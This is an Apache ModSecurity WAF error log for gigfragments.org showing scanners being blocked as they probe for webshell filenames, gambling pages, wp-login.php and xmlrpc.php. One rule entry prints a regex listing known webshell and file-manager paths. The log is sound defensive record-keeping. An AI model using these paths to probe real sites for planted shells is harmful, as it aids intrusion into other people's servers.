[Tue Apr 07 20:16:19.225727 2026] [:error] [pid 59660:tid 59666] [client 65.108.78.33:19110] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adT1kzp3-oiX2o5bTswRogAAAcQ"]
[Tue Apr 07 20:16:21.304446 2026] [:error] [pid 59660:tid 59663] [client 65.108.78.33:19112] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adT1lTp3-oiX2o5bTswRpQAAAcE"]
[Tue Apr 07 20:16:23.331077 2026] [:error] [pid 59551:tid 59561] [client 65.108.78.33:15016] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adT1l17LN7Ubyqs-sVsEtAAAAYg"]
[Tue Apr 07 20:16:25.392687 2026] [:error] [pid 37719:tid 37742] [client 65.108.78.33:15028] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adT1mU09Xv52u2xXGLAVtQAAANQ"]
[Tue Apr 07 20:16:27.434170 2026] [:error] [pid 59490:tid 59509] [client 65.108.78.33:15042] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adT1m0cw8OFbiUZ7Rx1oUwAAAVE"]
[Tue Apr 07 20:16:29.418077 2026] [:error] [pid 37597:tid 37650] [client 65.108.78.33:15044] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adT1nQ6uAY0QAy-8EEJwawAAAFA"]
[Tue Apr 07 20:16:31.652270 2026] [:error] [pid 37719:tid 37738] [client 65.108.78.33:15056] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adT1n009Xv52u2xXGLAVyQAAANA"]
[Tue Apr 07 20:16:33.564605 2026] [:error] [pid 37597:tid 37657] [client 65.108.78.33:65514] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adT1oQ6uAY0QAy-8EEJwdQAAAFc"]
[Tue Apr 07 20:16:35.689602 2026] [:error] [pid 37598:tid 37679] [client 65.108.78.33:65516] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adT1o-9g7q_cV2WhPay1lwAAAJI"]
[Tue Apr 07 20:16:37.837363 2026] [:error] [pid 37719:tid 37744] [client 65.108.78.33:65522] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adT1pU09Xv52u2xXGLAV0QAAANY"]
[Tue Apr 07 20:40:32.818341 2026] [:error] [pid 59804:tid 59825] [client 14.176.109.93:47101] [client 14.176.109.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.176.109.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adT7QHYVIXiPh5_eJTmruQAAAhM"]
[Tue Apr 07 22:45:33.119150 2026] [:error] [pid 59490:tid 59507] [client 68.183.235.102:40722] [client 68.183.235.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.235.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adUYjUcw8OFbiUZ7Rx16qQAAAU8"]
[Tue Apr 07 22:45:35.753598 2026] [:error] [pid 59490:tid 59505] [client 68.183.235.102:40722] [client 68.183.235.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.235.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adUYj0cw8OFbiUZ7Rx16sAAAAU0"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 08 01:35:34.665286 2026] [:error] [pid 4860:tid 5221] [client 43.134.186.61:45140] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adVAZgn6KmY32L3WSeHC5AAAAIY"]
[Wed Apr 08 01:50:04.291509 2026] [:error] [pid 4842:tid 5192] [client 20.234.13.12:7266] [client 20.234.13.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "adVDzJdncJIGbBiMOXTG1wAAAEQ"]
[Wed Apr 08 01:50:06.871534 2026] [:error] [pid 4842:tid 5193] [client 20.234.13.12:7191] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adVDzpdncJIGbBiMOXTG3QAAAEU"]
[Wed Apr 08 01:50:07.393578 2026] [:error] [pid 5246:tid 5264] [client 20.234.13.12:7291] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adVDzxLpySxaVC8kLEZvawAAAM4"]
[Wed Apr 08 01:50:07.898834 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:7249] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adVDzyboIFdw6tlcN13prQAAARg"]
[Wed Apr 08 01:50:08.407981 2026] [:error] [pid 5337:tid 5375] [client 20.234.13.12:7236] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xda.php"] [unique_id "adVD0CboIFdw6tlcN13psAAAARE"]
[Wed Apr 08 01:50:08.911717 2026] [:error] [pid 5246:tid 5259] [client 20.234.13.12:7233] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adVD0BLpySxaVC8kLEZvbQAAAMk"]
[Wed Apr 08 01:50:09.414378 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:7187] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adVD0c9wWR0DHTrNMujhewAAAUo"]
[Wed Apr 08 01:50:09.917324 2026] [:error] [pid 5246:tid 5255] [client 20.234.13.12:7292] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adVD0RLpySxaVC8kLEZvcQAAAMU"]
[Wed Apr 08 01:50:11.422844 2026] [:error] [pid 5337:tid 5372] [client 20.234.13.12:7271] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wdone1.php"] [unique_id "adVD0yboIFdw6tlcN13pwAAAAQ4"]
[Wed Apr 08 01:50:11.928453 2026] [:error] [pid 5337:tid 5368] [client 20.234.13.12:7284] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adVD0yboIFdw6tlcN13pxAAAAQo"]
[Wed Apr 08 01:50:12.428183 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:7275] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adVD1CboIFdw6tlcN13pxgAAARg"]
[Wed Apr 08 01:50:12.930614 2026] [:error] [pid 5337:tid 5367] [client 20.234.13.12:7184] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adVD1CboIFdw6tlcN13pygAAAQk"]
[Wed Apr 08 01:50:13.430025 2026] [:error] [pid 5337:tid 5362] [client 20.234.13.12:7265] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adVD1SboIFdw6tlcN13pzAAAAQQ"]
[Wed Apr 08 01:50:13.935333 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:4360] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adVD1SboIFdw6tlcN13pzgAAAQc"]
[Wed Apr 08 01:50:14.435012 2026] [:error] [pid 5337:tid 5377] [client 20.234.13.12:7247] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adVD1iboIFdw6tlcN13p0wAAARM"]
[Wed Apr 08 01:50:14.977949 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:7294] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adVD1iboIFdw6tlcN13p2QAAAQc"]
[Wed Apr 08 01:50:15.479946 2026] [:error] [pid 5246:tid 5257] [client 20.234.13.12:7263] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "adVD1xLpySxaVC8kLEZveAAAAMc"]
[Wed Apr 08 01:50:16.054864 2026] [:error] [pid 5246:tid 5261] [client 20.234.13.12:7176] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "adVD2BLpySxaVC8kLEZveQAAAMs"]
[Wed Apr 08 01:50:16.564359 2026] [:error] [pid 5246:tid 5263] [client 20.234.13.12:7180] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "adVD2BLpySxaVC8kLEZvfAAAAM0"]
[Wed Apr 08 01:50:17.121745 2026] [:error] [pid 5246:tid 5254] [client 20.234.13.12:7256] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "adVD2RLpySxaVC8kLEZvfgAAAMQ"]
[Wed Apr 08 01:50:17.630012 2026] [:error] [pid 5337:tid 5375] [client 20.234.13.12:7253] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awh.php"] [unique_id "adVD2SboIFdw6tlcN13p4wAAARE"]
[Wed Apr 08 01:50:18.167319 2026] [:error] [pid 4860:tid 5219] [client 20.234.13.12:7273] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "adVD2gn6KmY32L3WSeHGMQAAAIQ"]
[Wed Apr 08 01:50:18.678579 2026] [:error] [pid 4840:tid 5168] [client 20.234.13.12:7175] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "adVD2hsUwg2fEe9p9LTFtQAAAAg"]
[Wed Apr 08 01:50:19.245812 2026] [:error] [pid 5246:tid 5273] [client 20.234.13.12:7250] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "adVD2xLpySxaVC8kLEZvgwAAANc"]
[Wed Apr 08 01:50:19.755583 2026] [:error] [pid 4840:tid 5178] [client 20.234.13.12:7199] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aee.php"] [unique_id "adVD2xsUwg2fEe9p9LTFtwAAABI"]
[Wed Apr 08 01:50:20.309108 2026] [:error] [pid 4840:tid 5177] [client 20.234.13.12:7261] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adVD3BsUwg2fEe9p9LTFuQAAABE"]
[Wed Apr 08 01:50:20.814157 2026] [:error] [pid 4860:tid 5239] [client 20.234.13.12:7243] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adVD3An6KmY32L3WSeHGPAAAAJg"]
[Wed Apr 08 01:50:21.376369 2026] [:error] [pid 4860:tid 5238] [client 20.234.13.12:7267] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adVD3Qn6KmY32L3WSeHGQQAAAJc"]
[Wed Apr 08 01:50:21.882515 2026] [:error] [pid 4840:tid 5181] [client 20.234.13.12:7278] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adVD3RsUwg2fEe9p9LTFvgAAABU"]
[Wed Apr 08 01:50:22.437791 2026] [:error] [pid 5246:tid 5252] [client 20.234.13.12:7195] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruabjw00.php"] [unique_id "adVD3hLpySxaVC8kLEZvigAAAMI"]
[Wed Apr 08 01:50:22.958827 2026] [:error] [pid 5246:tid 5258] [client 20.234.13.12:7229] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruabjw00.php"] [unique_id "adVD3hLpySxaVC8kLEZvjAAAAMg"]
[Wed Apr 08 01:50:23.522897 2026] [:error] [pid 5337:tid 5379] [client 20.234.13.12:7257] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruabjw00.php"] [unique_id "adVD3yboIFdw6tlcN13p5QAAARU"]
[Wed Apr 08 01:50:24.026775 2026] [:error] [pid 4842:tid 5206] [client 20.234.13.12:7290] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ruabjw00.php"] [unique_id "adVD4JdncJIGbBiMOXTG5QAAAFI"]
[Wed Apr 08 01:50:24.589196 2026] [:error] [pid 5337:tid 5377] [client 20.234.13.12:7274] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adVD4CboIFdw6tlcN13p6QAAARM"]
[Wed Apr 08 01:50:25.089576 2026] [:error] [pid 5246:tid 5254] [client 20.234.13.12:7277] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adVD4RLpySxaVC8kLEZvkwAAAMQ"]
[Wed Apr 08 01:50:25.647553 2026] [:error] [pid 5246:tid 5271] [client 20.234.13.12:7179] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adVD4RLpySxaVC8kLEZvmQAAANU"]
[Wed Apr 08 01:50:26.152628 2026] [:error] [pid 4842:tid 5193] [client 20.234.13.12:7172] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adVD4pdncJIGbBiMOXTG6QAAAEU"]
[Wed Apr 08 01:50:26.721524 2026] [:error] [pid 303:tid 307] [client 20.234.13.12:7244] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webx.php"] [unique_id "adVD4s9wWR0DHTrNMujhhwAAAUE"]
[Wed Apr 08 01:50:27.222851 2026] [:error] [pid 5246:tid 5266] [client 20.234.13.12:7206] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webx.php"] [unique_id "adVD4xLpySxaVC8kLEZvnQAAANA"]
[Wed Apr 08 01:50:27.780063 2026] [:error] [pid 5246:tid 5262] [client 20.234.13.12:7181] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webx.php"] [unique_id "adVD4xLpySxaVC8kLEZvoAAAAMw"]
[Wed Apr 08 01:50:28.281800 2026] [:error] [pid 303:tid 315] [client 20.234.13.12:7171] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webx.php"] [unique_id "adVD5M9wWR0DHTrNMujhiQAAAUk"]
[Wed Apr 08 01:50:28.842866 2026] [:error] [pid 5337:tid 5378] [client 20.234.13.12:7295] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adVD5CboIFdw6tlcN13p7gAAARQ"]
